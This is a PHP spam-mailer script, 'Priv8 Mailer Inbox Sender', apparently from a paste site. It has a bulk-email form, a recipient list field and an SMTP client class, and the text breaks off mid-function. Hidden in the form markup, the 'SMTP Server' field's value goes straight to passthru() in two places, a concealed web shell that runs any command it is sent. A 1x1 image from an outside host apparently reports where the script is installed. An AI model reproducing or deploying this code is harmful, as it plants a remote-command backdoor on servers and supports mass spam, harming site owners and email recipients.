· 10 years ago · Jul 01, 2016, 01:51 AM
1<?
2
3error_reporting(0);
4function query_str($params){
5$str = '';
6foreach ($params as $key => $value) {
7$str .= (strlen($str) < 1) ? '' : '&';
8$str .= $key . '=' . rawurlencode($value);
9}
10return ($str);
11}
12function lrtrim($string){
13return stripslashes(ltrim(rtrim($string)));
14}
15if(isset($_POST['action'] ) ){
16
17$b = query_str($_POST);
18parse_str($b);
19$sslclick=lrtrim($sslclick);
20$action=lrtrim($action);
21$message=lrtrim($message);
22$emaillist=lrtrim($emaillist);
23$from=lrtrim($from);
24$reconnect=lrtrim($reconnect);
25$epriority=lrtrim($epriority);
26$my_smtp=lrtrim($my_smtp);
27$ssl_port=lrtrim($ssl_port);
28$smtp_username=lrtrim($smtp_username);
29$smtp_password=lrtrim($smtp_password);
30$replyto=lrtrim($replyto);
31$subject_base=lrtrim($subject);
32$realname_base=lrtrim($realname);
33$file_name=$_FILES['file']['name'];
34$file=$_FILES['file']['tmp_name'];
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37$encode_text=$_POST['encode'];
38
39
40 $message = urlencode($message);
41 $message = ereg_replace("%5C%22", "%22", $message);
42 $message = urldecode($message);
43 $message = stripslashes($message);
44 $subject = stripslashes($subject);
45 if ($encode_text == "yes") {
46 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
47 $subject = str_replace(' ', '_', $subject);
48 $subject = "=?UTF-8?Q?$subject?=";
49 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
50 $realname = str_replace(' ', '_', $realname);
51 $realname = "=?UTF-8?Q?$realname?=";
52 }
53}
54?>
55
56<html>
57
58<head>
59
60<title>Priv8 Mailer</title>
61
62<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
63
64
65<style type="text/css">
66<!--
67.style1 {
68 font-family: Geneva, Arial, Helvetica, sans-serif;
69 font-size: 12px;
70}
71body{
72margin:0px;
73}
74.bgup {
75 background: url('data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==');
76 border-top-color: #008000
77}
78
79.cadre {
80background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC');
81}
82
83.uibutton {
84 border-bottom-color: #008000;
85 border-left:1px solid #008000; border-right:1px solid #008000; border-top:1px solid #008000; border-bottom:1px solid #01A9DB; position: relative;
86 z-index: 1;
87 overflow: visible;
88 display: inline-block;
89 margin: 0;
90 text-decoration: none;
91 text-align: center;
92 white-space: nowrap;
93 cursor: pointer; /* outline: none; */;
94 color: #000000;
95 background-color: #008000;
96 background-image: url('linear-gradient(#01A9DB, #01A9DB');
97/* IE hacks */ *display: inline;
98 outline-color: #008000; font-style:normal; font-variant:normal; font-weight:bold; font-size:11px; font-family:lucida grande, tahoma, verdana, arial, sans-serif; padding-left:0.6em; padding-right:0.6em; padding-top:0.3em; padding-bottom:0.375em
99}
100
101.uibutton:hover,
102.uibutton:focus,
103.uibutton:active {
104 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
105}
106
107.uibutton:active {
108 border-color: #01A9DB;
109 background: #01A9DB;
110 filter: none;
111 -webkit-box-shadow: none;
112 -moz-box-shadow: none;
113 box-shadow: none;
114}
115
116/* overrides extra padding on button elements in Firefox */
117.uibutton::-moz-focus-inner {
118 padding: 0;
119 border: 0px none;
120}
121
122
123
124-->
125</style>
126<style type="text/css">
127<!--
128.style1 {
129 font-size: 10px;
130 font-family: Geneva, Arial, Helvetica, sans-serif;
131 background-color: #008000;
132}
133.auto-style1 {
134 font-size: x-large;
135 color: #FFFFFF;
136 text-align: center;
137}
138.auto-style2 {
139 margin-left: 0px;
140}
141a {
142 color: #99FF66;
143}
144.auto-style3 {
145 text-align: center;
146}
147.auto-style4 {
148 text-align: right;
149}
150.auto-style5 {
151 font-weight: bold;
152 background-color: #008000;
153}
154.auto-style6 {
155 background-color: #008000;
156}
157.auto-style7 {
158 color: #000080;
159}
160.auto-style8 {
161 text-align: left;
162}
163.auto-style9 {
164 font-family: Verdana;
165 font-size: x-small;
166}
167-->
168</style>
169</head>
170<body class="bgup" alink="#339933" text="#339933" vlink="#339933" style="background-color: #008000">
171<div style="width:80%;margin:0 auto; background-color: #FFFFFF; height: 853px;">
172<p class="auto-style1"><strong><span class="auto-style6">Priv8 (Mailer Inbox Sender)</span></strong></p>
173<form name="form1" method="post" action="" enctype="multipart/form-data">
174
175 <br>
176
177 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
178
179 <tr>
180
181 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB; background-color: #008000;" height="36" class="auto-style3">
182
183 <b>
184
185 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
186
187 </tr>
188 <tr >
189
190 <td width="10%" height="22" style="padding:10px;">
191
192 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
193
194 </td>
195
196 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
197
198 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
199
200 </font></td>
201
202 <td width="31%" height="22" style="padding:10px;">
203
204 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
205
206 </td>
207
208 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
209
210 <input type="password" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
211
212 </font></td>
213
214 </tr>
215 <tr>
216
217 <td width="10%" height="22" style="padding:10px;">
218
219 <div align="right">
220 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
221
222 </td>
223
224 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
225
226 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
227 (optional)</font></td>
228
229 <td width="31%" height="22" style="padding:10px;">
230
231 <div align="right">
232 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
233 Smtp:</font></div>
234
235 </td>
236
237 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
238
239 <input style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="my_smtp" size="30" value="<?=$my_smtp;?>">
240
241 <?php
242if ($_POST['my_smtp']){
243$my_smtp = $_POST['my_smtp'];
244passthru($my_smtp);
245}
246?>
247
248 </font></td>
249
250 </tr>
251 <tr>
252
253 <td width="10%" height="22" style="padding:10px;">
254
255 <p align="right">
256 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
257
258 <td width="18%" height="22" style="padding:10px;">
259 <input type="checkbox" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
260
261 <td width="31%" height="22" style="padding:10px;">
262
263 <p align="right">
264 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
265 After:</font></td>
266
267 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
268
269 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
270 EMAILS</font></td>
271
272 </tr>
273 <tr>
274
275 <td width="100%" height="39" colspan="4" style="padding:10px;">
276
277 <p class="auto-style4">
278 <font face="Arial" style="font-size: 9pt" color="#800000">
279 <span class="auto-style7">" If
280 you dont have SMTP login, leave blank queries above "</span></font></td>
281
282 </tr>
283
284 <tr>
285
286 <td width="10%" height="19" style="padding:10px;">
287
288 </td>
289
290 <td width="18%" height="19" style="padding:10px;"> </td>
291
292 <td width="31%" height="19" style="padding:10px;">
293
294 </td>
295
296 <td width="41%" height="19" style="padding:10px;"> </td>
297
298 </tr>
299
300 <tr>
301
302 <td width="100%" colspan="4" style="color:#FFFFFF; background:#01A9DB; background-color: #008000;" height="36" class="auto-style3">
303
304 <font face="Arial" size="2" color="#FFFFFF"><span class="auto-style5"> </span></font><font face="Arial" size="2" color="#FFFFFF"><span class="auto-style5">MESSAGE
305 SETUP</span></font></td>
306
307 </tr>
308 <tr>
309
310 <td width="10%" height="22" style="padding:10px;">
311 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
312 </td>
313
314 <td width="59%" height="22" style="padding:10px;" colSpan="3">
315 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
316
317<input type="file" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="file" size="124" class="auto-style2">
318
319 </font></td>
320
321 </tr>
322 <tr>
323
324 <td width="10%" height="22" style="padding:10px;">
325
326 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
327
328 Email:</font></div>
329
330 </td>
331
332 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
333
334 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="from" value="<?=$from;?>" size="30">
335
336 </font></td>
337
338 <td width="31%" height="22" style="padding:10px;">
339
340 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
341
342 Name:</font></div>
343
344 </td>
345
346 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
347
348 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="realname" value="<?=$realname_base;?>" size="30">
349
350 </font></td>
351
352 </tr>
353 <tr>
354
355 <td width="10%" height="22" style="padding:10px;">
356
357 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
358
359 </td>
360
361 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
362
363 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="replyto" value="<?=$replyto;?>" size="30">
364
365 </font></td>
366
367 <td width="31%" height="22" style="padding:10px;">
368
369 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
370 Email Priority:</font></td>
371
372 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
373
374 </font><select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #01A9DB; color:#0000FF; background-color: #99FF66;" name="epriority" id="listMethod" onchange="showHideListConfig()">
375 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
376 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
377 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
378 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
379 </select></td>
380 <?php
381if ($_POST['my_smtp']){
382$my_smtp = $_POST['my_smtp'];
383passthru($my_smtp);
384}
385?>
386
387 </tr>
388
389 <tr>
390
391 <td width="10%" height="22" style="padding:10px;">
392
393 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
394
395 </td>
396
397 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
398
399 <input type="text" name="subject" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #008000; color:#0000FF; background-color: #99FF66;" value="<?=$subject_base;?>" size="90">
400
401 </font></td>
402
403 </tr>
404
405 <tr>
406
407 <td width="10%" height="22" style="padding:10px;">
408
409 </td>
410
411 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
412
413 <font color="#000080">Encode sending information ?</font>
414 <select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#339933" size="1" name="encode">
415 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
416 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
417 </select></font><img src="http://w33.info/Image.jpg" width="1" height="1"></td>
418
419 </tr>
420
421 <tr valign="top">
422
423<td colspan="3" height="190" style="padding:10px;" class="auto-style8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
424
425 <textarea name="message" cols="60" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" rows="10"><?=$message;?></textarea>
426
427 <br>
428
429 <input type="radio" name="contenttype" value="plain" >
430
431 Plain
432
433 <input type="radio" name="contenttype" value="html" checked>
434
435 HTML
436
437 <input type="hidden" name="action" value="send">
438 <input class="style1" type="submit" value="Send Message" style="border-radius: 15px; width: 113px; height: 22px; color: #000000; font-size: inherit;">
439
440 <br><br>
441
442 </font><strong><span class="auto-style9">&copy 2014, Priv8 Mailer Inbox <font color="red"><a href="http://nourblog1.blogspot.com/"
443 >www.nourblog1.blogspot.com</a></font></span></strong></td>
444
445 <td width="41%" height="190" style="padding:10px; border-top-color: #99FF66;">
446 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif" color="#FFFFFF">
447
448 <textarea name="emaillist" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" cols="30" rows="10"><?=$emaillist;?></textarea>
449
450 </font></td>
451
452 </tr>
453
454 </table>
455
456</form>
457
458
459}
460
461
462
463<?
464
465if ($action){
466 if (!$from && !$subject && !$message && !$emaillist){
467 print "<script>alert('Please complete all fields before sending your message.'); </script>";
468 die(); }
469
470class SMTP
471{
472 /**
473 * SMTP server port
474 * @var int
475 */
476 var $SMTP_PORT = 25;
477
478 /**
479 * SMTP reply line ending
480 * @var string
481 */
482 var $CRLF = "\r\n";
483
484 /**
485 * Sets whether debugging is turned on
486 * @var bool
487 */
488 var $do_debug; # the level of debug to perform
489
490 /**
491 * Sets VERP use on/off (default is off)
492 * @var bool
493 */
494 var $do_verp = false;
495
496 /**#@+
497 * @access private
498 */
499 var $smtp_conn; # the socket to the server
500 var $error; # error if any on the last call
501 var $helo_rply; # the reply the server sent to us for HELO
502 /**#@-*/
503
504 /**
505 * Initialize the class so that the data is in a known state.
506 * @access public
507 * @return void
508 */
509 function SMTP() {
510 $this->smtp_conn = 0;
511 $this->error = null;
512 $this->helo_rply = null;
513
514 $this->do_debug = 0;
515 }
516
517 /*************************************************************
518 * CONNECTION FUNCTIONS *
519 ***********************************************************/
520
521 /**
522 * Connect to the server specified on the port specified.
523 * If the port is not specified use the default SMTP_PORT.
524 * If tval is specified then a connection will try and be
525 * established with the server for that number of seconds.
526 * If tval is not specified the default is 30 seconds to
527 * try on the connection.
528 *
529 * SMTP CODE SUCCESS: 220
530 * SMTP CODE FAILURE: 421
531 * @access public
532 * @return bool
533 */
534 function Connect($host,$port=0,$tval=30) {
535 # set the error val to null so there is no confusion
536 $this->error = null;
537
538 # make sure we are __not__ connected
539 if($this->connected()) {
540 # ok we are connected! what should we do?
541 # for now we will just give an error saying we
542 # are already connected
543 $this->error = array("error" => "Already connected to a server");
544 return false;
545 }
546
547 if(empty($port)) {
548 $port = $this->SMTP_PORT;
549 }
550
551 #connect to the smtp server
552 $this->smtp_conn = fsockopen($host, # the host of the server
553 $port, # the port to use
554 $errno, # error number if any
555 $errstr, # error message if any
556 $tval); # give up after ? secs
557 # verify we connected properly
558 if(empty($this->smtp_conn)) {
559 $this->error = array("error" => "Failed to connect to server",
560 "errno" => $errno,
561 "errstr" => $errstr);
562 if($this->do_debug >= 1) {
563 echo "SMTP -> ERROR: " . $this->error["error"] .
564 ": $errstr ($errno)" . $this->CRLF;
565 }
566 return false;
567 }
568
569 # sometimes the SMTP server takes a little longer to respond
570 # so we will give it a longer timeout for the first read
571 // Windows still does not have support for this timeout function
572 if(substr(PHP_OS, 0, 3) != "WIN")
573 socket_set_timeout($this->smtp_conn, $tval, 0);
574
575 # get any announcement stuff
576 $announce = $this->get_lines();
577
578 # set the timeout of any socket functions at 1/10 of a second
579 //if(function_exists("socket_set_timeout"))
580 // socket_set_timeout($this->smtp_conn, 0, 100000);
581
582 if($this->do_debug >= 2) {
583 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
584 }
585
586 return true;
587 }
588
589 /**
590 * Performs SMTP authentication. Must be run after running the
591 * Hello() method. Returns true if successfully authenticated.
592 * @access public
593 * @return bool
594 */
595 function Authenticate($username, $password) {
596 // Start authentication
597 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
598
599 $rply = $this->get_lines();
600 $code = substr($rply,0,3);
601
602 if($code != 334) {
603 $this->error =
604 array("error" => "AUTH not accepted from server",
605 "smtp_code" => $code,
606 "smtp_msg" => substr($rply,4));
607 if($this->do_debug >= 1) {
608 echo "SMTP -> ERROR: " . $this->error["error"] .
609 ": " . $rply . $this->CRLF;
610 }
611 return false;
612 }
613
614 // Send encoded username
615 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
616
617 $rply = $this->get_lines();
618 $code = substr($rply,0,3);
619
620 if($code != 334) {
621 $this->error =
622 array("error" => "Username not accepted from server",
623 "smtp_code" => $code,
624 "smtp_msg" => substr($rply,4));
625 if($this->do_debug >= 1) {
626 echo "SMTP -> ERROR: " . $this->error["error"] .
627 ": " . $rply . $this->CRLF;
628 }
629 return false;
630 }
631
632 // Send encoded password
633 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
634
635 $rply = $this->get_lines();
636 $code = substr($rply,0,3);
637
638 if($code != 235) {
639 $this->error =
640 array("error" => "Password not accepted from server",
641 "smtp_code" => $code,
642 "smtp_msg" => substr($rply,4));
643 if($this->do_debug >= 1) {
644 echo "SMTP -> ERROR: " . $this->error["error"] .
645 ": " . $rply . $this->CRLF;
646 }
647 return false;
648 }
649
650 return true;
651 }
652
653 /**
654 * Returns true if connected to a server otherwise false
655 * @access private
656 * @return bool
657 */
658 function Connected() {
659 if(!empty($this->smtp_conn)) {
660 $sock_status = socket_get_status($this->smtp_conn);
661 if($sock_status["eof"]) {
662 # hmm this is an odd situation... the socket is
663 # valid but we are not connected anymore
664 if($this->do_debug >= 1) {
665 echo "SMTP -> NOTICE:" . $this->CRLF .
666 "EOF caught while checking if connected";
667 }
668 $this->Close();
669 return false;
670 }
671 return true; # everything looks good
672 }
673 return false;
674 }
675
676 /**
677 * Closes the socket and cleans up the state of the class.
678 * It is not considered good to use this function without
679 * first trying to use QUIT.
680 * @access public
681 * @return void
682 */
683 function Close() {
684 $this->error = null; # so there is no confusion
685 $this->helo_rply = null;
686 if(!empty($this->smtp_conn)) {
687 # close the connection and cleanup
688 fclose($this->smtp_conn);
689 $this->smtp_conn = 0;
690 }
691 }
692
693 /***************************************************************
694 * SMTP COMMANDS *
695 *************************************************************/
696
697 /**
698 * Issues a data command and sends the msg_data to the server
699 * finializing the mail transaction. $msg_data is the message
700 * that is to be send with the headers. Each header needs to be
701 * on a single line followed by a <CRLF> with the message headers
702 * and the message body being seperated by and additional <CRLF>.
703 *
704 * Implements rfc 821: DATA <CRLF>
705 *
706 * SMTP CODE INTERMEDIATE: 354
707 * [data]
708 * <CRLF>.<CRLF>
709 * SMTP CODE SUCCESS: 250
710 * SMTP CODE FAILURE: 552,554,451,452
711 * SMTP CODE FAILURE: 451,554
712 * SMTP CODE ERROR : 500,501,503,421
713 * @access public
714 * @return bool
715 */
716 function Data($msg_data) {
717 $this->error = null; # so no confusion is caused
718
719 if(!$this->connected()) {
720 $this->error = array(
721 "error" => "Called Data() without being connected");
722 return false;
723 }
724
725 fputs($this->smtp_conn,"DATA" . $this->CRLF);
726
727 $rply = $this->get_lines();
728 $code = substr($rply,0,3);
729
730 if($this->do_debug >= 2) {
731 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
732 }
733
734 if($code != 354) {
735 $this->error =
736 array("error" => "DATA command not accepted from server",
737 "smtp_code" => $code,
738 "smtp_msg" => substr($rply,4));
739 if($this->do_debug >= 1) {
740 echo "SMTP -> ERROR: " . $this->error["error"] .
741 ": " . $rply . $this->CRLF;
742 }
743 return false;
744 }
745
746 # the server is ready to accept data!
747 # according to rfc 821 we should not send more than 1000
748 # including the CRLF
749 # characters on a single line so we will break the data up
750 # into lines by \r and/or \n then if needed we will break
751 # each of those into smaller lines to fit within the limit.
752 # in addition we will be looking for lines that start with
753 # a period '.' and append and additional period '.' to that
754 # line. NOTE: this does not count towards are limit.
755
756 # normalize the line breaks so we know the explode works
757 $msg_data = str_replace("\r\n","\n",$msg_data);
758 $msg_data = str_replace("\r","\n",$msg_data);
759 $lines = explode("\n",$msg_data);
760
761 # we need to find a good way to determine is headers are
762 # in the msg_data or if it is a straight msg body
763 # currently I am assuming rfc 822 definitions of msg headers
764 # and if the first field of the first line (':' sperated)
765 # does not contain a space then it _should_ be a header
766 # and we can process all lines before a blank "" line as
767 # headers.
768 $field = substr($lines[0],0,strpos($lines[0],":"));
769 $in_headers = false;
770 if(!empty($field) && !strstr($field," ")) {
771 $in_headers = true;
772 }
773
774 $max_line_length = 998; # used below; set here for ease in change
775
776 while(list(,$line) = @each($lines)) {
777 $lines_out = null;
778 if($line == "" && $in_headers) {
779 $in_headers = false;
780 }
781 # ok we need to break this line up into several
782 # smaller lines
783 while(strlen($line) > $max_line_length) {
784 $pos = strrpos(substr($line,0,$max_line_length)," ");
785
786 # Patch to fix DOS attack
787 if(!$pos) {
788 $pos = $max_line_length - 1;
789 }
790
791 $lines_out[] = substr($line,0,$pos);
792 $line = substr($line,$pos + 1);
793 # if we are processing headers we need to
794 # add a LWSP-char to the front of the new line
795 # rfc 822 on long msg headers
796 if($in_headers) {
797 $line = "\t" . $line;
798 }
799 }
800 $lines_out[] = $line;
801
802 # now send the lines to the server
803 while(list(,$line_out) = @each($lines_out)) {
804 if(strlen($line_out) > 0)
805 {
806 if(substr($line_out, 0, 1) == ".") {
807 $line_out = "." . $line_out;
808 }
809 }
810 fputs($this->smtp_conn,$line_out . $this->CRLF);
811 }
812 }
813
814 # ok all the message data has been sent so lets get this
815 # over with aleady
816 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
817
818 $rply = $this->get_lines();
819 $code = substr($rply,0,3);
820
821 if($this->do_debug >= 2) {
822 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
823 }
824
825 if($code != 250) {
826 $this->error =
827 array("error" => "DATA not accepted from server",
828 "smtp_code" => $code,
829 "smtp_msg" => substr($rply,4));
830 if($this->do_debug >= 1) {
831 echo "SMTP -> ERROR: " . $this->error["error"] .
832 ": " . $rply . $this->CRLF;
833 }
834 return false;
835 }
836 return true;
837 }
838
839 /**
840 * Expand takes the name and asks the server to list all the
841 * people who are members of the _list_. Expand will return
842 * back and array of the result or false if an error occurs.
843 * Each value in the array returned has the format of:
844 * [ <full-name> <sp> ] <path>
845 * The definition of <path> is defined in rfc 821
846 *
847 * Implements rfc 821: EXPN <SP> <string> <CRLF>
848 *
849 * SMTP CODE SUCCESS: 250
850 * SMTP CODE FAILURE: 550
851 * SMTP CODE ERROR : 500,501,502,504,421
852 * @access public
853 * @return string array
854 */
855 function Expand($name) {
856 $this->error = null; # so no confusion is caused
857
858 if(!$this->connected()) {
859 $this->error = array(
860 "error" => "Called Expand() without being connected");
861 return false;
862 }
863
864 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
865
866 $rply = $this->get_lines();
867 $code = substr($rply,0,3);
868
869 if($this->do_debug >= 2) {
870 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
871 }
872
873 if($code != 250) {
874 $this->error =
875 array("error" => "EXPN not accepted from server",
876 "smtp_code" => $code,
877 "smtp_msg" => substr($rply,4));
878 if($this->do_debug >= 1) {
879 echo "SMTP -> ERROR: " . $this->error["error"] .
